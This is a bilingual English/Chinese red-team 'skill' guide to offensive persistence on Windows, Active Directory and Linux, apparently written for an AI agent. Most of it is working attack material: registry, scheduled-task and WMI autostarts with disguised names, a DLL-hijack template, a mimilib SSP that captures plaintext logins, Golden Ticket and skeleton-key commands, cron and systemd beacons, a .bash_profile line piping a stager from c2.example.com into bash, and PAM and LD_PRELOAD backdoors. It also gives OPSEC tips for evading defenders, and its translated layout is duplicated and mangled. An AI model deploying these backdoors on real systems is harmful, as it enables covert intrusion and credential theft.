offensive-persistence

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

Offensive Persistence

攻击性持久化

Persistence ensures your access survives reboots, password changes, and routine maintenance. You plant mechanisms that re-establish a session or re-execute your payload without requiring a new initial compromise. The choice of persistence technique depends on your privilege level, the target operating system, the engagement scope, and the detection risk you can tolerate.
This skill covers both Windows and Linux persistence methods, from simple registry keys to domain-level Active Directory backdoors. Every technique here assumes you already have code execution on the target. Apply these in authorized engagements only.
持久化可确保你的访问权限在重启、密码更改和日常维护后依然有效。你植入相应的机制,在无需再次进行初始入侵的情况下重新建立会话或重新执行 payload。持久化技术的选择取决于你的权限级别、目标操作系统、行动范围,以及你能承受的检测风险。
本 skill 涵盖 Windows 和 Linux 的持久化方法,从简单的注册表键到域级 Active Directory 后门。此处的每种技术都假设你已经在目标上实现了代码执行。仅将这些技术应用于已授权的行动。

Quick Workflow

快速工作流

  1. Assess your current privilege level (user-level vs admin/root vs domain admin).
  2. Identify the target OS version and security controls in place.
  3. Select a persistence mechanism matching your access level and stealth needs.
  4. Validate the persistence survives a reboot or logoff event.
  5. Document the exact mechanism and location for cleanup during engagement close.
  6. Layer multiple persistence methods at different privilege levels when scope allows.
  7. Prefer reversible methods that you can fully remove during remediation.

  1. 评估当前的权限级别(用户级、管理员/root 或 domain admin)。
  2. 确定目标 OS 版本以及已部署的安全控制措施。
  3. 选择与你的访问权限级别和隐蔽性需求相匹配的持久化机制。
  4. 验证持久化机制在重启或注销后仍然有效。
  5. 记录具体机制及其位置,以便在行动结束时进行清理。
  6. 在范围允许时,在不同权限级别叠加多种持久化方法。
  7. 优先采用可逆的方法,确保能够在修复阶段彻底移除。

Windows: Registry Autostart

Windows:Registry Autostart

Registry Run and RunOnce keys execute commands at user logon or system startup. These are the simplest persistence mechanisms and work at both user and admin privilege levels.
powershell
undefined
Registry Run 和 RunOnce 键会在用户登录或系统启动时执行命令。这些是最简单的持久化机制,在用户权限和管理员权限下均可使用。
powershell
undefined

User-level persistence (HKCU, no admin required)

User-level persistence (HKCU, no admin required)

reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate" /t REG_SZ /d "C:\Users\Public\payload.exe" /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate" /t REG_SZ /d "C:\Users\Public\payload.exe" /f

Machine-level persistence (HKLM, requires admin)

Machine-level persistence (HKLM, requires admin)

reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /t REG_SZ /d "C:\Windows\Temp\svc.exe" /f
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /t REG_SZ /d "C:\Windows\Temp\svc.exe" /f

RunOnce -- executes once then deletes the key

RunOnce -- executes once then deletes the key

reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "Setup" /t REG_SZ /d "powershell -ep bypass -w hidden -f C:\Users\Public\init.ps1" /f

Using SharPersist for operational convenience:

```powershell
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "Setup" /t REG_SZ /d "powershell -ep bypass -w hidden -f C:\Users\Public\init.ps1" /f

使用 SharPersist 可以简化操作:

```powershell

Add registry Run key persistence

Add registry Run key persistence

SharPersist.exe -t reg -c "C:\Users\Public\payload.exe" -a "" -k "hkcurun" -v "WindowsUpdate" -m add
SharPersist.exe -t reg -c "C:\Users\Public\payload.exe" -a "" -k "hkcurun" -v "WindowsUpdate" -m add

List current registry persistence

List current registry persistence

SharPersist.exe -t reg -k "hkcurun" -m list
SharPersist.exe -t reg -k "hkcurun" -m list

Remove it during cleanup

Remove it during cleanup

SharPersist.exe -t reg -k "hkcurun" -v "WindowsUpdate" -m remove

Additional autostart locations you should know:

```text
HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices
HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\load
HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKLM\System\CurrentControlSet\Services\<svc>\ImagePath
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
OPSEC note: Registry Run keys are the first place defenders check. Use innocuous-sounding value names. Sysmon event 13 (RegistryValueSet) captures all registry modifications to these keys.

SharPersist.exe -t reg -k "hkcurun" -v "WindowsUpdate" -m remove

你还应了解以下其他 Autostart 位置:

```text
HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices
HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\load
HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKLM\System\CurrentControlSet\Services\<svc>\ImagePath
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
OPSEC 注意:Registry Run 键是防御人员最先检查的位置之一。使用听起来无害的值名称。Sysmon Event 13(RegistryValueSet)会捕获对这些键的所有注册表修改。

Windows: Scheduled Tasks

Windows:Scheduled Task

Scheduled tasks provide flexible persistence with precise timing control. They survive reboots and can run as SYSTEM or any specified user.
powershell
undefined
Scheduled Task 是一种灵活的持久化机制,可精确控制执行时间。它们能够在重启后继续运行,并且可以以 SYSTEM 或任何指定用户的身份执行。
powershell
undefined

Create a scheduled task running as SYSTEM at boot

Create a scheduled task running as SYSTEM at boot

schtasks /create /tn "Microsoft\Windows\Maintenance\SecurityScan" /tr "C:\Windows\Temp\svc.exe" /sc onstart /ru SYSTEM /f
schtasks /create /tn "Microsoft\Windows\Maintenance\SecurityScan" /tr "C:\Windows\Temp\svc.exe" /sc onstart /ru SYSTEM /f

Create a task that runs every 15 minutes

Create a task that runs every 15 minutes

schtasks /create /tn "CacheCleanup" /tr "powershell -ep bypass -w hidden -f C:\Users\Public\beacon.ps1" /sc minute /mo 15 /ru SYSTEM /f
schtasks /create /tn "CacheCleanup" /tr "powershell -ep bypass -w hidden -f C:\Users\Public\beacon.ps1" /sc minute /mo 15 /ru SYSTEM /f

Create a task triggered by user logon

Create a task triggered by user logon

schtasks /create /tn "OneDriveSync" /tr "C:\Users\Public\payload.exe" /sc onlogon /f

SharPersist alternative: `SharPersist.exe -t schtask -c "C:\Windows\Temp\svc.exe" -n "SecurityScan" -m add -o logon`

Using PowerShell for more control:

```powershell
$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-ep bypass -w hidden -f C:\ProgramData\task.ps1"
$trigger = New-ScheduledTaskTrigger -AtStartup
$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest
$settings = New-ScheduledTaskSettingsSet -Hidden
Register-ScheduledTask -TaskName "Microsoft\Windows\AppID\PolicyConverter" -Action $action -Trigger $trigger -Principal $principal -Settings $settings
OPSEC note: Nest task names under existing Microsoft directories (e.g.,
Microsoft\Windows\Maintenance\
) to blend in. Event 4698 records task creation.

schtasks /create /tn "OneDriveSync" /tr "C:\Users\Public\payload.exe" /sc onlogon /f

SharPersist 替代方案:`SharPersist.exe -t schtask -c "C:\Windows\Temp\svc.exe" -n "SecurityScan" -m add -o logon`

使用 PowerShell 可以获得更精细的控制:

```powershell
$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-ep bypass -w hidden -f C:\ProgramData\task.ps1"
$trigger = New-ScheduledTaskTrigger -AtStartup
$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest
$settings = New-ScheduledTaskSettingsSet -Hidden
Register-ScheduledTask -TaskName "Microsoft\Windows\AppID\PolicyConverter" -Action $action -Trigger $trigger -Principal $principal -Settings $settings
OPSEC 注意:将任务名称嵌套在已有的 Microsoft 目录下(例如
Microsoft\Windows\Maintenance\
),以提高其伪装效果。Event 4698 会记录任务创建行为。

Windows: WMI Event Subscriptions

Windows:WMI Event Subscription

WMI event subscriptions are a powerful fileless persistence mechanism. They consist of three components: an event filter (trigger), an event consumer (action), and a binding that links them.
powershell
undefined
WMI Event Subscription 是一种强大的无文件持久化机制。它由三个组件构成:Event Filter(触发器)、Event Consumer(操作)以及将二者关联起来的 Binding。
powershell
undefined

Create a WMI event subscription that fires on system startup

Create a WMI event subscription that fires on system startup

Event Filter -- fires 60 seconds after boot

Event Filter -- fires 60 seconds after boot

$filter = Set-WmiInstance -Namespace "root\subscription" -Class "__EventFilter" -Arguments @{ Name = "CoreTelemetryFilter" EventNameSpace = "root\cimv2" QueryLanguage = "WQL" Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 60 AND TargetInstance.SystemUpTime < 120" }
$filter = Set-WmiInstance -Namespace "root\subscription" -Class "__EventFilter" -Arguments @{ Name = "CoreTelemetryFilter" EventNameSpace = "root\cimv2" QueryLanguage = "WQL" Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 60 AND TargetInstance.SystemUpTime < 120" }

Event Consumer -- execute payload

Event Consumer -- execute payload

$consumer = Set-WmiInstance -Namespace "root\subscription" -Class "CommandLineEventConsumer" -Arguments @{ Name = "CoreTelemetryConsumer" CommandLineTemplate = "powershell.exe -ep bypass -w hidden -f C:\ProgramData\Microsoft\telemetry.ps1" }
$consumer = Set-WmiInstance -Namespace "root\subscription" -Class "CommandLineEventConsumer" -Arguments @{ Name = "CoreTelemetryConsumer" CommandLineTemplate = "powershell.exe -ep bypass -w hidden -f C:\ProgramData\Microsoft\telemetry.ps1" }

Binding

Binding

Set-WmiInstance -Namespace "root\subscription" -Class "__FilterToConsumerBinding" -Arguments @{ Filter = $filter Consumer = $consumer }

Cleanup -- remove all three components during engagement close:

```powershell
Get-WmiObject -Namespace "root\subscription" -Class "__EventFilter" -Filter "Name='CoreTelemetryFilter'" | Remove-WmiObject
Get-WmiObject -Namespace "root\subscription" -Class "CommandLineEventConsumer" -Filter "Name='CoreTelemetryConsumer'" | Remove-WmiObject
Get-WmiObject -Namespace "root\subscription" -Class "__FilterToConsumerBinding" | Where-Object { $_.Filter -match "CoreTelemetryFilter" } | Remove-WmiObject
OPSEC note: WMI subscriptions are stored in the CIM repository (
C:\Windows\System32\wbem\Repository\
). Sysmon event 19/20/21 captures WMI filter, consumer, and binding creation. This is one of the stealthier native persistence methods but increasingly monitored.

Set-WmiInstance -Namespace "root\subscription" -Class "__FilterToConsumerBinding" -Arguments @{ Filter = $filter Consumer = $consumer }

清理——在行动结束时移除全部三个组件:

```powershell
Get-WmiObject -Namespace "root\subscription" -Class "__EventFilter" -Filter "Name='CoreTelemetryFilter'" | Remove-WmiObject
Get-WmiObject -Namespace "root\subscription" -Class "CommandLineEventConsumer" -Filter "Name='CoreTelemetryConsumer'" | Remove-WmiObject
Get-WmiObject -Namespace "root\subscription" -Class "__FilterToConsumerBinding" | Where-Object { $_.Filter -match "CoreTelemetryFilter" } | Remove-WmiObject
OPSEC 注意:WMI Subscription 存储在 CIM Repository(
C:\Windows\System32\wbem\Repository\
)中。Sysmon Event 19/20/21 会捕获 WMI Filter、Consumer 和 Binding 的创建。这是较为隐蔽的原生持久化方法之一,但受到越来越密切的监控。

Windows: DLL Hijacking and COM Hijacking

Windows:DLL Hijacking 与 COM Hijacking

DLL Search Order Hijacking

DLL Search Order Hijacking

When an application loads a DLL without specifying a full path, Windows searches directories in a defined order. You place a malicious DLL in a directory searched before the legitimate one.
Find hijackable DLLs with Process Monitor: filter on
Result = NAME NOT FOUND
and
Path ends with .dll
. Applications loading DLLs without full paths search the application directory before System32, so you place your DLL alongside the binary.
c
// Minimal proxy DLL template (forwards calls to legit DLL)
// Compile: cl /LD /Fe:target.dll hijack.c
#include <windows.h>
#pragma comment(linker, "/export:OriginalFunc=legit.OriginalFunc")

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {
    if (fdwReason == DLL_PROCESS_ATTACH) {
        // Execute payload in a new thread
        CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)PayloadFunc, NULL, 0, NULL);
    }
    return TRUE;
}
当应用程序加载 DLL 时未指定完整路径,Windows 会按照既定顺序搜索目录。你可以将恶意 DLL 放在合法 DLL 之前被搜索的目录中。
使用 Process Monitor 查找可被劫持的 DLL:筛选
Result = NAME NOT FOUND
和
Path ends with .dll
。对于未使用完整路径加载 DLL 的应用程序,Windows 会先搜索应用程序目录,再搜索 System32,因此应将 DLL 放在应用程序二进制文件旁边。
c
// Minimal proxy DLL template (forwards calls to legit DLL)
// Compile: cl /LD /Fe:target.dll hijack.c
#include <windows.h>
#pragma comment(linker, "/export:OriginalFunc=legit.OriginalFunc")

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {
    if (fdwReason == DLL_PROCESS_ATTACH) {
        // Execute payload in a new thread
        CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)PayloadFunc, NULL, 0, NULL);
    }
    return TRUE;
}

COM Hijacking

COM Hijacking

COM objects are resolved via registry. You insert your DLL into the lookup chain by writing to HKCU, which takes precedence over HKLM entries.
powershell
undefined
COM Object 通过注册表解析。你可以写入 HKCU,将自己的 DLL 插入查找链中,因为 HKCU 的优先级高于 HKLM 条目。
powershell
undefined

Find COM objects scheduled to load (hijack candidates)

Find COM objects scheduled to load (hijack candidates)

Look for InprocServer32 keys under HKLM that do not exist under HKCU

Look for InprocServer32 keys under HKLM that do not exist under HKCU

Hijack a COM object used by explorer.exe

Hijack a COM object used by explorer.exe

CLSID {BCDE0395-E52F-467C-8E3D-C4579291692E} -- MMDeviceEnumerator

CLSID {BCDE0395-E52F-467C-8E3D-C4579291692E} -- MMDeviceEnumerator

New-Item -Path "HKCU:\Software\Classes\CLSID{BCDE0395-E52F-467C-8E3D-C4579291692E}\InprocServer32" -Value "C:\Users\Public\payload.dll" -Force New-ItemProperty -Path "HKCU:\Software\Classes\CLSID{BCDE0395-E52F-467C-8E3D-C4579291692E}\InprocServer32" -Name "ThreadingModel" -Value "Both" -Force

OPSEC note: COM hijacking under HKCU requires no admin rights. The payload
loads whenever the COM object is instantiated. Sysmon event 7 (ImageLoad)
detects suspicious DLL loads.

---
New-Item -Path "HKCU:\Software\Classes\CLSID{BCDE0395-E52F-467C-8E3D-C4579291692E}\InprocServer32" -Value "C:\Users\Public\payload.dll" -Force New-ItemProperty -Path "HKCU:\Software\Classes\CLSID{BCDE0395-E52F-467C-8E3D-C4579291692E}\InprocServer32" -Name "ThreadingModel" -Value "Both" -Force

OPSEC 注意:HKCU 下的 COM Hijacking 无需管理员权限。每当相应的 COM Object 被实例化时,payload 都会加载。Sysmon Event 7(ImageLoad)可检测可疑的 DLL 加载行为。

---

Windows: Service and SSP Persistence

Windows:Service 与 SSP Persistence

Service Creation

Service Creation

powershell
undefined
powershell
undefined

Create a persistent service

Create a persistent service

sc create "WinDefHealthSvc" binpath= "C:\Windows\Temp\svc.exe" start= auto obj= LocalSystem sc description "WinDefHealthSvc" "Windows Defender Health Service Monitor" sc start "WinDefHealthSvc"
sc create "WinDefHealthSvc" binpath= "C:\Windows\Temp\svc.exe" start= auto obj= LocalSystem sc description "WinDefHealthSvc" "Windows Defender Health Service Monitor" sc start "WinDefHealthSvc"

Modify an existing service (riskier, breaks legitimate service)

Modify an existing service (riskier, breaks legitimate service)

sc config "wuauserv" binpath= "cmd /c C:\Windows\Temp\svc.exe & C:\Windows\System32\svchost.exe -k netsvcs -p"
undefined
sc config "wuauserv" binpath= "cmd /c C:\Windows\Temp\svc.exe & C:\Windows\System32\svchost.exe -k netsvcs -p"
undefined

Security Support Provider (SSP) DLL

Security Support Provider (SSP) DLL

An SSP DLL is loaded by LSASS at boot and receives plaintext credentials for every interactive logon. This is a powerful credential harvesting persistence mechanism.
powershell
undefined
SSP DLL 会在启动时由 LSASS 加载,并接收每次交互式登录的明文凭据。这是一种功能强大的凭据收集型持久化机制。
powershell
undefined

Copy SSP DLL to System32

Copy SSP DLL to System32

copy mimilib.dll C:\Windows\System32\
copy mimilib.dll C:\Windows\System32\

Register the SSP (persists across reboots)

Register the SSP (persists across reboots)

reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v "Security Packages" /t REG_MULTI_SZ /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /f
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v "Security Packages" /t REG_MULTI_SZ /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /f

In-memory SSP injection (does not survive reboot without registry key)

In-memory SSP injection (does not survive reboot without registry key)

Using mimikatz:

Using mimikatz:

misc::memssp
misc::memssp

Credentials logged to C:\Windows\System32\mimilsa.log

Credentials logged to C:\Windows\System32\mimilsa.log


OPSEC note: SSP persistence requires admin privileges and modifies LSASS.
Credential Guard blocks this entirely. Event 4622 (security package loaded)
fires when a new SSP is registered.

---

OPSEC 注意:SSP Persistence 需要管理员权限,并且会修改 LSASS。Credential Guard 会完全阻止这种行为。注册新的 SSP 时会触发 Event 4622(security package loaded)。

---

Windows: Active Directory Persistence

Windows:Active Directory Persistence

These techniques provide domain-level persistence that survives individual host remediation. They require domain admin or equivalent privileges.
这些技术可提供域级持久化,即使单台主机完成修复也能继续存在。它们需要 domain admin 或同等权限。

Golden Ticket

Golden Ticket

bash
undefined
bash
undefined

Extract the KRBTGT hash

Extract the KRBTGT hash

impacket-secretsdump -just-dc-user krbtgt corp.local/admin:Password1@dc01.corp.local
impacket-secretsdump -just-dc-user krbtgt corp.local/admin:Password1@dc01.corp.local

Forge a Golden Ticket (valid for any service in the domain)

Forge a Golden Ticket (valid for any service in the domain)

impacket-ticketer -nthash <KRBTGT_HASH> -domain-sid S-1-5-21-XXXXXXXXXX -domain corp.local administrator export KRB5CCNAME=administrator.ccache
impacket-ticketer -nthash <KRBTGT_HASH> -domain-sid S-1-5-21-XXXXXXXXXX -domain corp.local administrator export KRB5CCNAME=administrator.ccache

With mimikatz

With mimikatz

kerberos::golden /user:administrator /domain:corp.local /sid:S-1-5-21-XXXXXXXXXX /krbtgt:<KRBTGT_HASH> /ptt
undefined
kerberos::golden /user:administrator /domain:corp.local /sid:S-1-5-21-XXXXXXXXXX /krbtgt:<KRBTGT_HASH> /ptt
undefined

Silver Ticket

Silver Ticket

bash
undefined
bash
undefined

Forge a Silver Ticket for a specific service (e.g., CIFS on a file server)

Forge a Silver Ticket for a specific service (e.g., CIFS on a file server)

impacket-ticketer -nthash <SVC_HASH> -domain-sid S-1-5-21-XXXXXXXXXX -domain corp.local -spn cifs/fileserver.corp.local administrator
impacket-ticketer -nthash <SVC_HASH> -domain-sid S-1-5-21-XXXXXXXXXX -domain corp.local -spn cifs/fileserver.corp.local administrator

With mimikatz

With mimikatz

kerberos::golden /user:administrator /domain:corp.local /sid:S-1-5-21-XXXXXXXXXX /target:fileserver.corp.local /service:cifs /rc4:<SVC_HASH> /ptt
undefined
kerberos::golden /user:administrator /domain:corp.local /sid:S-1-5-21-XXXXXXXXXX /target:fileserver.corp.local /service:cifs /rc4:<SVC_HASH> /ptt
undefined

Skeleton Key

Skeleton Key

powershell
undefined
powershell
undefined

Inject skeleton key into DC LSASS (all accounts accept "mimikatz" as password)

Inject skeleton key into DC LSASS (all accounts accept "mimikatz" as password)

Requires admin on DC, does NOT survive reboot

Requires admin on DC, does NOT survive reboot

misc::skeleton
misc::skeleton

Authenticate with skeleton key

Authenticate with skeleton key

net use \dc01\c$ /user:corp\anyuser mimikatz
undefined
net use \dc01\c$ /user:corp\anyuser mimikatz
undefined

AdminSDHolder Abuse

AdminSDHolder Abuse

powershell
undefined
powershell
undefined

Grant a user full control over AdminSDHolder

Grant a user full control over AdminSDHolder

SDProp propagates this ACL to all protected groups every 60 minutes

SDProp propagates this ACL to all protected groups every 60 minutes

Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=corp,DC=local" -PrincipalIdentity backdooruser -Rights All -Verbose
Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=corp,DC=local" -PrincipalIdentity backdooruser -Rights All -Verbose

The backdooruser will gain full control over Domain Admins, Enterprise Admins, etc.

The backdooruser will gain full control over Domain Admins, Enterprise Admins, etc.

undefined
undefined

DCShadow and SID History Injection

DCShadow 与 SID History Injection

powershell
undefined
powershell
undefined

DCShadow: register rogue DC and push replication changes (requires DA)

DCShadow: register rogue DC and push replication changes (requires DA)

Terminal 1: lsadump::dcshadow /object:targetuser /attribute:SIDHistory /value:S-1-5-21-XXXXXXXXXX-500

Terminal 1: lsadump::dcshadow /object:targetuser /attribute:SIDHistory /value:S-1-5-21-XXXXXXXXXX-500

Terminal 2: lsadump::dcshadow /push

Terminal 2: lsadump::dcshadow /push

SID History: add DA SID to a regular user (requires DC access)

SID History: add DA SID to a regular user (requires DC access)

sid::add /sam:backdooruser /new:S-1-5-21-XXXXXXXXXX-512

OPSEC note: Golden tickets have a default 10-year validity. Defenders detect
them by looking for TGTs with lifetimes exceeding the domain policy maximum.
DCShadow is extremely stealthy but requires domain admin. Skeleton key is
lost on reboot and modifies LSASS on the DC itself.

---
sid::add /sam:backdooruser /new:S-1-5-21-XXXXXXXXXX-512

OPSEC 注意:Golden Ticket 的默认有效期为 10 年。防御人员会通过查找生命周期超过域策略上限的 TGT 来检测它们。DCShadow 极其隐蔽,但需要 domain admin 权限。Skeleton Key 在重启后会失效,并且会直接修改 DC 上的 LSASS。

---

Linux: Cron, At, and Systemd Persistence

Linux:Cron、At 与 Systemd Persistence

Cron Jobs

Cron Job

bash
undefined
bash
undefined

User-level cron (no root required)

User-level cron (no root required)

crontab -e
crontab -e

Add: */15 * * * * /home/user/.config/update.sh

Add: */15 * * * * /home/user/.config/update.sh

System-level cron (requires root)

System-level cron (requires root)

echo '*/15 * * * * root /opt/.cache/beacon.sh' >> /etc/crontab
echo '*/15 * * * * root /opt/.cache/beacon.sh' >> /etc/crontab

Drop a cron file in cron.d

Drop a cron file in cron.d

echo '*/15 * * * * root /opt/.cache/beacon.sh' > /etc/cron.d/logrotate-helper
echo '*/15 * * * * root /opt/.cache/beacon.sh' > /etc/cron.d/logrotate-helper

Cron directories for specific timing

Cron directories for specific timing

cp payload.sh /etc/cron.hourly/health-check chmod +x /etc/cron.hourly/health-check
undefined
cp payload.sh /etc/cron.hourly/health-check chmod +x /etc/cron.hourly/health-check
undefined

At Jobs

At Job

bash
undefined
bash
undefined

Schedule a one-time execution (self-rescheduling for recurrence)

Schedule a one-time execution (self-rescheduling for recurrence)

echo "/opt/.cache/beacon.sh" | at now + 1 hour
echo "/opt/.cache/beacon.sh" | at now + 1 hour

In beacon.sh, add: echo "/opt/.cache/beacon.sh" | at now + 30 minutes

In beacon.sh, add: echo "/opt/.cache/beacon.sh" | at now + 30 minutes

undefined
undefined

Systemd Timers and Services

Systemd Timer 与 Service

bash
undefined
bash
undefined

Create a systemd service

Create a systemd service

cat << 'EOF' > /etc/systemd/system/system-health.service [Unit] Description=System Health Monitor
[Service] Type=simple ExecStart=/opt/.cache/beacon.sh Restart=on-failure RestartSec=60
[Install] WantedBy=multi-user.target EOF
cat << 'EOF' > /etc/systemd/system/system-health.service [Unit] Description=System Health Monitor
[Service] Type=simple ExecStart=/opt/.cache/beacon.sh Restart=on-failure RestartSec=60
[Install] WantedBy=multi-user.target EOF

Create a timer for periodic execution

Create a timer for periodic execution

cat << 'EOF' > /etc/systemd/system/system-health.timer [Unit] Description=System Health Check Timer
[Timer] OnBootSec=120 OnUnitActiveSec=900 Unit=system-health.service
[Install] WantedBy=timers.target EOF
cat << 'EOF' > /etc/systemd/system/system-health.timer [Unit] Description=System Health Check Timer
[Timer] OnBootSec=120 OnUnitActiveSec=900 Unit=system-health.service
[Install] WantedBy=timers.target EOF

Enable and start

Enable and start

systemctl daemon-reload systemctl enable system-health.timer systemctl start system-health.timer

For user-level systemd (no root), place unit files in `~/.config/systemd/user/`
and use `systemctl --user enable/start`.

---
systemctl daemon-reload systemctl enable system-health.timer systemctl start system-health.timer

对于用户级 systemd,无需 root 权限,将 unit 文件放在 `~/.config/systemd/user/` 中,并使用 `systemctl --user enable/start`。

---

Linux: Shell, SSH, and Authentication Persistence

Linux:Shell、SSH 与 Authentication Persistence

SSH Authorized Keys

SSH Authorized Keys

bash
undefined
bash
undefined

Inject your public key (user-level, no root required)

Inject your public key (user-level, no root required)

echo "ssh-rsa AAAA...your_key... operator@redteam" >> ~/.ssh/authorized_keys chmod 600 ~/.ssh/authorized_keys
echo "ssh-rsa AAAA...your_key... operator@redteam" >> ~/.ssh/authorized_keys chmod 600 ~/.ssh/authorized_keys

Hide in a custom location via sshd_config (requires root)

Hide in a custom location via sshd_config (requires root)

echo "AuthorizedKeysFile .ssh/authorized_keys /etc/ssh/legacy_keys/%u" >> /etc/ssh/sshd_config mkdir -p /etc/ssh/legacy_keys/root/ echo "ssh-rsa AAAA...your_key..." > /etc/ssh/legacy_keys/root/authorized_keys systemctl restart sshd
undefined
echo "AuthorizedKeysFile .ssh/authorized_keys /etc/ssh/legacy_keys/%u" >> /etc/ssh/sshd_config mkdir -p /etc/ssh/legacy_keys/root/ echo "ssh-rsa AAAA...your_key..." > /etc/ssh/legacy_keys/root/authorized_keys systemctl restart sshd
undefined

Shell Profile Backdoors

Shell Profile Backdoor

bash
undefined
bash
undefined

Backdoor .bashrc (every interactive shell) or .bash_profile (login shell)

Backdoor .bashrc (every interactive shell) or .bash_profile (login shell)

echo 'nohup /opt/.cache/beacon.sh &>/dev/null &' >> ~/.bashrc echo '(curl -s https://c2.example.com/stager | bash &) 2>/dev/null' >> ~/.bash_profile
echo 'nohup /opt/.cache/beacon.sh &>/dev/null &' >> ~/.bashrc echo '(curl -s https://c2.example.com/stager | bash &) 2>/dev/null' >> ~/.bash_profile

/etc/profile affects all users (requires root)

/etc/profile affects all users (requires root)

echo 'test $(id -u) -eq 0 && nohup /opt/.cache/beacon.sh &>/dev/null &' >> /etc/profile
undefined
echo 'test $(id -u) -eq 0 && nohup /opt/.cache/beacon.sh &>/dev/null &' >> /etc/profile
undefined

PAM Backdoor

PAM Backdoor

c
// Malicious PAM module that accepts a backdoor password
// Compile: gcc -shared -fPIC -o pam_backdoor.so pam_backdoor.c -lpam
#include <security/pam_modules.h>
#include <string.h>

#define BACKDOOR_PASS "s3cure_backd00r"

PAM_EXTERN int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv) {
    const char *password = NULL;
    pam_get_authtok(pamh, PAM_AUTHTOK, &password, NULL);
    if (password && strcmp(password, BACKDOOR_PASS) == 0) {
        return PAM_SUCCESS;
    }
    return PAM_AUTH_ERR;  // Fall through to next module
}
bash
undefined
c
// Malicious PAM module that accepts a backdoor password
// Compile: gcc -shared -fPIC -o pam_backdoor.so pam_backdoor.c -lpam
#include <security/pam_modules.h>
#include <string.h>

#define BACKDOOR_PASS "s3cure_backd00r"

PAM_EXTERN int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv) {
    const char *password = NULL;
    pam_get_authtok(pamh, PAM_AUTHTOK, &password, NULL);
    if (password && strcmp(password, BACKDOOR_PASS) == 0) {
        return PAM_SUCCESS;
    }
    return PAM_AUTH_ERR;  // Fall through to next module
}
bash
undefined

Install the PAM backdoor

Install the PAM backdoor

cp pam_backdoor.so /lib/x86_64-linux-gnu/security/
cp pam_backdoor.so /lib/x86_64-linux-gnu/security/

Add to PAM configuration (before pam_unix.so)

Add to PAM configuration (before pam_unix.so)

sed -i '1a auth sufficient pam_backdoor.so' /etc/pam.d/common-auth

OPSEC note: PAM backdoors are powerful but modifying /etc/pam.d/ can lock
out all users if misconfigured. Test thoroughly. File integrity monitoring
(AIDE, OSSEC) detects PAM module changes.

---
sed -i '1a auth sufficient pam_backdoor.so' /etc/pam.d/common-auth

OPSEC 注意:PAM Backdoor 功能强大,但错误配置 `/etc/pam.d/` 可能导致所有用户都无法登录。必须充分测试。File Integrity Monitoring(AIDE、OSSEC)可以检测 PAM Module 的变化。

---

Linux: LD_PRELOAD, Kernel Modules, and Web Shells

Linux:LD_PRELOAD、Kernel Module 与 Web Shell

LD_PRELOAD Hijacking

LD_PRELOAD Hijacking

c
// Shared library that hooks libc functions and executes a payload
// Compile: gcc -shared -fPIC -o libsec.so preload.c -ldl
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>

__attribute__((constructor))
void init(void) {
    // Run once per process load
    if (access("/tmp/.beacon_lock", F_OK) != 0) {
        system("touch /tmp/.beacon_lock && /opt/.cache/beacon.sh &");
    }
}
bash
undefined
c
// Shared library that hooks libc functions and executes a payload
// Compile: gcc -shared -fPIC -o libsec.so preload.c -ldl
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>

__attribute__((constructor))
void init(void) {
    // Run once per process load
    if (access("/tmp/.beacon_lock", F_OK) != 0) {
        system("touch /tmp/.beacon_lock && /opt/.cache/beacon.sh &");
    }
}
bash
undefined

System-wide LD_PRELOAD (affects all dynamically linked binaries)

System-wide LD_PRELOAD (affects all dynamically linked binaries)

echo "/lib/x86_64-linux-gnu/.libsec.so" >> /etc/ld.so.preload
echo "/lib/x86_64-linux-gnu/.libsec.so" >> /etc/ld.so.preload

Or per-user via .bashrc

Or per-user via .bashrc

echo 'export LD_PRELOAD=/lib/x86_64-linux-gnu/.libsec.so' >> ~/.bashrc
undefined
echo 'export LD_PRELOAD=/lib/x86_64-linux-gnu/.libsec.so' >> ~/.bashrc
undefined

